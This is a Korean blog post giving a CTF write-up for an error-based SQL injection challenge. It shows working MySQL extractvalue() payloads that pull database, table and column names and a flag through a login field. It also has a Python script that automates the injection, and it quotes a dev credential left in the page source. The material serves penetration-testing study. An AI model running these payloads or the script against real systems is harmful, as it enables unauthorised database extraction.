Almon Dev

ctf 풀이 (SQL Injection 3) 본문

모의해킹/모의해킹

ctf 풀이 (SQL Injection 3)

Almon 2024. 11. 29. 23:01

ctf 문제 풀이

 

SQL Injection 3

 

풀이

1> UNION SQLi 확인

normaltic/1234로 로그인을 해봅니다.

로그인에 성공하면 닉네임이 출력되는 마이페이지가 나옵니다.

=> 데이터가 화면에 출력되므로 UNION SQLi가 가능해 보입니다.

 

 

아이디 입력창은 SQLi가 가능하고, 비밀번호는 불가능합니다. => 식별 인증 분리

 

 

column의 개수는 2개인 것을 확인하고 union select를 시도해 보았으나 실패했습니다.

비밀번호를 해시화해서 저장하는 것 같습니다.

이 경우 해시의 알고리즘을 모른다면 union sqli로 로그인을 우회하는 것은 힘들어 보입니다.(md5, sha256 X)

 

 

2> Error Based SQLi  확인

normaltic'를 이용해 syntax에러를 발생시키니 에러가 화면에 출력됩니다. => Error Based SQLi 가능

 

 

3> 에러를 출력할 함수 선택

에러 메시지를 통해서 서버에서 사용하는 db가 mysql이라는 것을 알아냈습니다.

mysql에서 error based sqli에 사용되는 함수인 extractvalue()를 이용하기로 했습니다.

 

 

4> 공격 format 만들기

예상 SQL 문 : select nickname, password from member where id='__user_input__'

 

UserId : normaltic' and extractvalue('1', ':test') and '1' ='1

=> select nickname, password from member where id='normaltic' and extractvalue('1', ':test') and '1' ='1'

extractvalue를 이용해서 로직에러를 발생시켜 에러 메시지로 :test를 출력했습니다.

 

 

Select가 가능한지 확인하기 => 필터링 안됨

 

UserId : normaltic' and extractvalue('1', concat(':', (select ___))) and '1' ='1

concat을 이용해서 select문에서 나오는 문자열의 앞에 :을 붙여줍니다.

=> extractvalue의 두 번째 인자는 XML 표현식이 오는 자리인데 :는 예약된 문자이기에 에러가 발생합니다.

 

 

5> DB 명 추출하기

format : normaltic' and extractvalue('1', concat(':', (select ___))) and '1' ='1

sql : select database()

=> DB 명 : sqli_2

 

 

6> Table 명 추출하기

format : normaltic' and extractvalue('1', concat(':', (select ___))) and '1' ='1

sql : select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1

=> Table 명 : flag_table, member

 

 

7> Column 명 추출하기

format : normaltic' and extractvalue('1', concat(':', (select ___))) and '1' ='1

sql : select column_name from information_schema.columns where table_schema='sqli_2' and table_name='flag_table' limit 0,1

=> flag_table Column 명 : flag

 

 

8> 데이터 추출하기

format : normaltic' and extractvalue('1', concat(':', (select ___))) and '1' ='1

sql : select flag from flag_table limit 0,1

 

 


 

풀이 (Python)

강사님이 보여주신 python으로 sql을 입력하면 자동으로 삽입해 주는 스크립트를 만들어봤습니다.

 

error_based_sqli.py

import requests

url = input("URL : ")
method = input("1: POST \n2: GET \nMethod : ")

proxies = {
    "http": "http://localhost:8080"
}

if method == '1':
    while(True):
        sql = input("SQL : ")
        format = f"normaltic' and extractvalue('1', concat(':', ({sql}))) and '1' ='1"

        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
        }
        data = {
            'UserId' : format,
            'Password' : '1234',
            'Submit' : 'Login',
        }
        
        response = requests.post(url, data=data, headers=headers)
        # print(response.text)

        text = response.text
        # print(text)
        try:
            result = text.split("XPATH syntax error: ")[1].replace("'", "").replace(":", "")
            print("\rResult : ", result, "\n")
        except:
            result = text.split("<!-- dev Account : mario / mariosuper -->")[1].replace("\n", "")
            print(result, "\n")
elif method == '2':
    pass

 

 

import requests

url = input("URL : ")
method = input("1: POST \n2: GET \nMethod : ")

proxies = {
    "http": "http://localhost:8080"
}

 

웹 요청을 위한 requests 모듈을 import 하고, url과 method를 유저로부터 입력받습니다.

proxies는 중간에 에러가 생길 때 요청과 응답을 보기 위해서 버프스위트와의 연결을 위해 만들어두었습니다.

 

 

if method == '1':
    while(True):
        sql = input("SQL : ")
        format = f"normaltic' and extractvalue('1', concat(':', ({sql}))) and '1' ='1"

 

post 메서드일 경우 실행할 sql을 입력받고 format을 생성합니다.

 

 

        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
        }
        data = {
            'UserId' : format,
            'Password' : '1234',
            'Submit' : 'Login',
        }
        
        response = requests.post(url, data=data, headers=headers)

 

post data에 UserId라는 이름의 파라미터에 format을 삽입합니다.

=> Submit 파라미터를 보내지 않는다면 로그인이 시도되지 않습니다.

=> php) if (isset($_POST ['Submit']))을 사용하는 것으로 예상됩니다.

 

requests.post를 이용해 요청을 보내고 응답을 response에 저장합니다.

 

 

        text = response.text
        try:
            result = text.split("XPATH syntax error: ")[1].replace("'", "").replace(":", "")
            print("\rResult : ", result, "\n")

 

text에 응답값을 문자열로 넣고 try문에서 XPATH syntax error: 으로 split합니다.

error based sqli를 성공적일때 응답값이 'XPATH syntax error:  이고

실패시 XPATH syntax error:가 존재하지 않으므로 except를 통해 따로 처리해줍니다.

 

XPATH syntax error: 이후의 문자열중에서 '와 :를 제거한 select문의 응답값만 파싱해서 result에 대입합니다.

결과를 출력합니다.

 

 

 

        except:
            result = text.split("<!-- dev Account : mario / mariosuper -->")[1].replace("\n", "")
            print(result, "\n")

 

sqli가 실패했을때는 <!-- dev Account : mario / mariosuper -->로 split을 합니다.

syntax 에러메시지나 빈칸이 출력되게 됩니다.

 

'모의해킹 > 모의해킹' 카테고리의 다른 글

ctf 풀이 (SQL Injection 5)  (0) 2024.11.30
ctf 풀이 (SQL Injection 4)  (0) 2024.11.30
모의해킹 공부 7주차 (SQL Injection)  (0) 2024.11.29
ctf 풀이 ( SQL Injection 2 )  (1) 2024.11.24
ctf 풀이 (SQL Injection 1)  (0) 2024.11.23